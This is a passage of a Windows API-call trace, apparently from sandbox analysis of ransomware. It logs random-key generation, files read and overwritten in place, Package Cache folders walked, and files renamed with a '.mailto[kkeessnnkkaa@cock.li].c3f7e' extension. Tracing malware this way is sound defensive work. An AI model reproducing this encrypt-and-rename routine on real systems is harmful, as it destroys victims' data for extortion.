	[0092.278] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xb005d987
	[0092.278] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xbe13e461
	[0092.278] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xa867a819
	[0092.278] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xde497035
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xd3f53c7c
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xc9268597
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x3a4a42d1
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x7857ecf2
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xda8f9759
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xbff393af
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x4255e2a2
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x30f3bf4c
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xd798952f
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xc088f670
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x19c3b2a4
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x71b7c936
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x6018bcb
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xa67c0711
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xcba39838
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xabc49d41
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x521aa5d1
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x4bd840ec
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x83df5c56
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x338e5675
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x5ce78140
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xc0c27ef5
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xd77a172f
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x1d6aa5f9
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0xc27e3097
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x245e3231
	[0092.279] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x48819974
	[0092.288] ReadFile (in: hFile=0x1398, lpBuffer=0x51088c8, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0xea3fe00, lpOverlapped=0x0 | out: lpBuffer=0x51088c8*, lpNumberOfBytesRead=0xea3fe00*=0x272, lpOverlapped=0x0) returned 1
	[0092.288] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.288] WriteFile (in: hFile=0x1398, lpBuffer=0x51150d0*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0xea3fdfc, lpOverlapped=0x0 | out: lpBuffer=0x51150d0*, lpNumberOfBytesWritten=0xea3fdfc*=0x272, lpOverlapped=0x0) returned 1
	[0092.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984d48
	[0092.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984b68
	[0092.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984b68) returned 1
	[0092.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x51150d0) returned 1
	[0092.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x51088c8) returned 1
	[0092.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0092.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabb0) returned 1
	[0092.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x4984af0
	[0092.306] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.306] WriteFile (in: hFile=0x1398, lpBuffer=0x4716ae0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xea3fe64, lpOverlapped=0x0 | out: lpBuffer=0x4716ae0*, lpNumberOfBytesWritten=0xea3fe64*=0x103, lpOverlapped=0x0) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c80) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984cf8) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984af0) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984d48) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0092.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0092.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e618
	[0092.330] wcscpy (in: _Dest=0x491e618, _Source="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"
	[0092.330] wcscat (in: _Dest=0x491e618, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.330] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xea3fe1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778260
	[0092.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0092.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0092.348] NtQueryInformationFile (in: FileHandle=0x1398, IoStatusBlock=0xea3fe28, FileInformation=0xea3fe00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xea3fe28, FileInformation=0xea3fe00) returned 0x0
	[0092.348] NtSetInformationFile (FileHandle=0x1398, IoStatusBlock=0xea3fe28, FileInformation=0xea3fe00, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e618) returned 1
	[0092.349] FlushFileBuffers (hFile=0x1398) returned 1
	[0093.279] CloseHandle (hObject=0x1398) 

Thread:
	id = 340
	os_tid = 0x1478

	[0076.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d610b0
	[0076.883] wcscpy (in: _Dest=0x2d610b0, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0076.883] wcscat (in: _Dest=0x2d610b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\"
	[0076.883] wcscat (in: _Dest=0x2d610b0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*"
	[0076.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2de03b8
	[0076.883] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2de03b8 | out: lpFindFileData=0x2de03b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d872f8
	[0079.931] wcscmp (_String1=".", _String2=".") returned 0
	[0079.931] FindNextFileW (in: hFindFile=0x2d872f8, lpFindFileData=0x2de03b8 | out: lpFindFileData=0x2de03b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.931] wcscmp (_String1="..", _String2=".") returned 1
	[0079.931] wcscmp (_String1="..", _String2="..") returned 0
	[0079.931] FindNextFileW (in: hFindFile=0x2d872f8, lpFindFileData=0x2de03b8 | out: lpFindFileData=0x2de03b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.931] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.931] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7d900
	[0079.931] wcscpy (in: _Dest=0x2d7d900, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0079.931] wcscat (in: _Dest=0x2d7d900, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\"
	[0079.931] wcscat (in: _Dest=0x2d7d900, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0092.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.500] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0092.500] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\"
	[0092.500] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*"
	[0092.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.500] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.501] wcscmp (_String1=".", _String2=".") returned 0
	[0092.501] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.501] wcscmp (_String1="..", _String2=".") returned 1
	[0092.501] wcscmp (_String1="..", _String2="..") returned 0
	[0092.501] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.501] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1
	[0092.501] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1
	[0092.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33900
	[0092.501] wcscpy (in: _Dest=0x4e33900, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0092.501] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\"
	[0092.501] wcscat (in: _Dest=0x4e33900, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0092.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d358
	[0092.501] wcscpy (in: _Dest=0x491d358, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0092.501] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\"
	[0092.501] wcscat (in: _Dest=0x491d358, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*"
	[0092.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.501] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8418
	[0092.501] wcscmp (_String1=".", _String2=".") returned 0
	[0092.501] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.501] wcscmp (_String1="..", _String2=".") returned 1
	[0092.501] wcscmp (_String1="..", _String2="..") returned 0
	[0092.501] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.501] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.501] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.501] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.502] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1
	[0092.502] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1
	[0092.502] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.502] FindClose (in: hFindFile=0x46a8418 | out: hFindFile=0x46a8418) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0092.502] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.502] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d900) returned 1
	[0092.502] FindNextFileW (in: hFindFile=0x2d872f8, lpFindFileData=0x2de03b8 | out: lpFindFileData=0x2de03b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.502] FindClose (in: hFindFile=0x2d872f8 | out: hFindFile=0x2d872f8) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2de03b8) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d610b0) returned 1
	[0092.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7fee0) returned 1

Thread:
	id = 341
	os_tid = 0x147c

	[0076.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61160
	[0076.884] wcscpy (in: _Dest=0x2d61160, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0076.884] wcscat (in: _Dest=0x2d61160, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\"
	[0076.884] wcscat (in: _Dest=0x2d61160, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*"
	[0076.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddc790
	[0076.884] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2ddc790 | out: lpFindFileData=0x2ddc790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87538
	[0079.945] wcscmp (_String1=".", _String2=".") returned 0
	[0079.945] FindNextFileW (in: hFindFile=0x2d87538, lpFindFileData=0x2ddc790 | out: lpFindFileData=0x2ddc790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
